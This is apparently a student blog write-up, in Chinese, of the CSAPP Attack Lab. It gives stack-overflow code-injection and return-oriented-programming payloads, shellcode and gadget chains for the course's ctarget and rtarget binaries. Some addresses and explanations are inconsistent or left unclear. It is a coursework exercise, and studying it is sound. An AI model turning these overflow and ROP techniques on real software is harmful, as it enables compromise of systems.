第三个实验主要是考察code injection 和ROP攻击 的内容
参考了这两篇文章 CSAPP 3e Attack lab 【读厚 CSAPP】III Attack Lab
http://csapp.cs.cmu.edu/3e/attacklab.pdf 这个是课程的任务书 感觉还是要仔细看啊 哭
下载了target1包之后里面的文件如下
- cookie.txt:这个里面有一个cookie
- rtarget:执行return-oriented-programming攻击的程序
- ctarget:执行code-injection攻击的程序
- farm.c:从这个里面产生gadget代码片
- hex2raw:生成攻击字符串
- 先来看一下堆栈的基本结构
上面是栈底 下面是栈顶 自下而上地址依次增加
下面开始
不知道为啥我直接运行./ctarget和./rtarget就总是illegal host = =蓝瘦香菇
但是后来进行其他的操作又没有问题= =不懂
首先反编译ctarget objdump -d ctarget > ctarget.txt
void test() {//主函数test 通过getbuf之后运行变化
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
在任务书里面说了 ctarget 会调用一个getbuf的函数
1 unsigned getbuf()
2 {
3 char buf[BUFFER_SIZE];
4 Gets(buf);
5 return 1;
6 }
也就是要我们输入buffer里面的东西来达到题目的要求。
getbuf的汇编部分
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp//这里可以看到buffer的大小为0x28
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
第一题 touch1
00000000004017c0 <touch1>://从这里得到touch1的地址是0x4017c0
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
所以在输入buffer之后溢出 程序跳转到touch1执行即可
即输入buffer大小的字符占满缓冲区 然后溢出的部分是touch1的地址 覆盖原有的返回地址即可
在ctarget1.txt文件中写入:
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00
注意一下 这里是little-endian
cat ctarget1.txt | ./hex2raw | ./ctarget -q
查看结果
touch2
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
可以看出要将cookie传入val中
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
也就是要把%rdi的值改为cookie 这就需要先在缓冲区注入一段可执行代码
movq $0x59b997fa,%rdi//将cookie的值放进rdi
pushq $0x004017ec //将touch2的地址压栈
retq
将上面的代码保存为p2.s
gcc -c p2.s
objdump -d p2.o > p2.d
编译及反编译后得到机器码
p2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
最后加上rsp的地址 作为返回地址
使用gdb获取%rsp地址。在getbuf中的Gets那里打一个断点就可以看到0x5561dc78
所以可以得到ctarget2.txt的内容
48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00
最后查看结果即可 cat ctarget21.txt | ./hex2raw | ./ctarget -q
touch3
void touch3(char *sval)
{
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
可以看到 touch3是一个比较cookie和sval的函数 调用了hexmatch函数
这里有一个问题要注意 调用hexmatch函数的时候 如果cookie存在buffer里面可能会被覆盖
所以cookie要放在父堆栈上面
touch3的地址为0x4018fa, %rsp地址0x5561dc78,
返回地址应为%rsp+0x28(40)(也就是跨过buffer缓冲区之后),然后字符串地址应为%rsp+0x30(48).在返回地址之上
于是注入的代码应该是
movq $0x5561dc98,%rdi <span style="font-family: 'microsoft yahei';"> </span>
pushq $0x004018fa
retq
编译反编译过程如上
得到结果
p3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 98 dc 61 55 mov $0x5561dc98,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3
所以最后ctarget3.txt是
48 c7 c7 a8 dc 61 55 68 fa 18
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 //rsp返回地址
35 39 62 39 39 37 66 61 00//这里要注意 将cookie转换成字符串 并且以00结尾
touch4
从这里开始就是ROP攻击的部分了
在 rtarget
中
- 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址
- 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误
那么现在怎么办呢?可以利用已有的可执行的代码,来完成我们的操作,称为 retrun-oriented programming(ROP),策略就是找到现存代码中的若干条指令,这些指令后面跟着指令 ret
,如下图所示
每次 return 相当于从一个 gadget 跳转到另一个 gadget 中,然后通过这样不断跳转来完成我们想要的操作。举个具体的例子,假设程序中有一个像下面这样的函数:
|
这么看起来没啥用,但是看看对应的汇编代码,可能就是另一个感觉:
这里 48 89 c7
就编码了 movq %rax, %rdi
指令(参加后面的表格),后面跟着一个 c3
(也就是返回),于是这段代码就包含一个 gadget,起始地址是 0x400f18
,我们就可以利用这个来做一些事情了
首先和前面是一样的 rtarget
反编译:objdump -d rtarget > rtarget.txt
这里和touch2的目的是一样的 要把cookie放进rdi里面 然后pushtouch2的地址再return
最直接地方法是把cookie存到%rsp里面,然后直接pop
但是没有找到popq %$rdi
。但是找到了代表popq %rax
的字节码58:
<span style="color:#333333;">00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 </span><span style="color:#ff0000;">58 90</span><span style="color:#333333;"> lea -0x6fa78caf(%rdi),%eax
4019ad: </span><span style="color:#ff0000;"> c3 </span><span style="color:#333333;"> retq </span>
红字的部分地址:0x4019ab gadget1
接下来是movq%rax%edi
movq %rax %edi
字节码为48 89 c7 c3
<span style="color:#333333;">00000000004019c3 <setval_426>:
4019c3: c7 07 </span><span style="color:#ff0000;">48 89 c7 90</span><span style="color:#333333;"> movl $0x90c78948,(%rdi)
4019c9: </span><span style="color:#ff0000;">c3</span><span style="color:#333333;"> retq</span>
红字部分地址 0x4019c5 gadget2
所以rtarget4.txt应该是
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc//前面40位填充buffer 因为采取了防御机制之后 buffer里面的区域都不能执行了
ab 19 40 00 00 00 00 00//gadget1
fa 97 b9 59 00 00 00 00//cookie
c5 19 40 00 00 00 00 00//gadget2
ec 17 40 00 00 00 00 00//touch2 返回地址
touch5
从指导书内可得
48 89 e0 movq %rsp, %rax
<span style="color:#3f3f3f;">0000000000401aab <setval_350>:
401aab: c7 07 </span><span style="color:#ff0000;">48 89 e0 90</span><span style="color:#3f3f3f;"> movl $0x90e08948,(%rdi) //90不影响
401ab1: </span><span style="color:#ff0000;"> c3 </span><span style="color:#3f3f3f;"> retq</span>
所以gadget1 0x401aad
接下来我们需要一个可以递增%rax的代码片段来指向我们的cookie地址。 (这一步说实话我不太懂)
找到代表add $0x37, %al
的04 37
:(这个04 37我查过 不懂为啥就是add)
然后我就自己写了句add 编译反编译 = = 结果真的是04 37 .。。。。。
第二个gadget2
地址为0x4019d8
。
接下来需要%rax内容移动到%rdi中,找到代表mov %rax, %rdi
的48 89 c7
。
片段如下:
第三个gadget3
地址为0x4019a2
。
缓冲区1(这里代码无法执行),
gadget1,gadget2,gadget3,(完成将字符串放进rdi的过程)
touch3的地址(作为返回地址)
填充区,cookie。填充区的大小为应该是在gadget2中偏移的0x37减去前面其余指令占的地址
也就是 55(0x37)-3*8=31字节。
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc//buffer空出来
ad 1a 40 00 00 00 00 00//gadget1 把rsp的值存到rax里
d8 19 40 00 00 00 00 00 //gadget2
a2 19 40 00 00 00 00 00//gadget3
fa 18 40 00 00 00 00 00//touch3返回地址
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd
35 39 62 39 39 37 66 61 00//cookie
这里还有另外一种写法 我也摘录一下
栈顶
mov %rsp, %rax 48 89 e0 c3 0x401b11
mov %rax, %rdi 48 89 c7 c3 0x401a2b
pop %rax 58 c3 0x401a24
constant 0x48 //这个地方相当于在栈顶压了一个常数 也就是上一步操作里面要放到rax里面的偏移量
movl %eax, %ecx 89 c1 20 c9 c3 0x401a98 (20 c9 没有影响)
movl %ecx, %edx 89 ca 28 c0 c3 0x401ac8 (38 c0 没有影响)
movl %edx, %esi 89 d6 38 c0 c3 0x401a68 (38 c0 没有影响)
lea (%rdi, %rsi, 1), %rax 0x401a48
mov %rax, %rdi 48 89 c7 c3 0x401a2b
touch3 的地址
cookie 的字符串
栈底
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
11 1b 40 00 00 00 00 00
2b 1a 40 00 00 00 00 00
24 1a 40 00 00 00 00 00
48 00 00 00 00 00 00 00
98 1a 40 00 00 00 00 00
c8 1a 40 00 00 00 00 00
68 1a 40 00 00 00 00 00
48 1a 40 00 00 00 00 00
2b 1a 40 00 00 00 00 00
6e 19 40 00 00 00 00 00
34 35 33 37 34 66 65 65
00 00 00 00 00 00 00 00
我之前一直都没有想明白那个constant的逻辑 是因为没弄清楚pop 和push
的操作
这里补习一下 链接
PUSH 等价于:
subl $4, %esp
movl %ebp (%esp)
POP 等价于:
movl (%esp), %ead
addl $4, %esp
CALL,RET和LEAVE
CALL指令的步骤:首先是将返回地址(也就是call指令要执行时EIP的值)压入栈顶,然后是将程序跳转到当前调用的方法的起始地址。执行push和jump指令。
RET指令则是将栈顶的返回地址弹出到EIP,然后按照EIP此时指示的指令地址继续执行程序。
LEAVE指令是将栈指针指向帧指针,然后POP备份的原帧指针到%EBP。
Leave等价于:
movl %ebp %esp
popl %ebp
这个lab就先这样~~撒花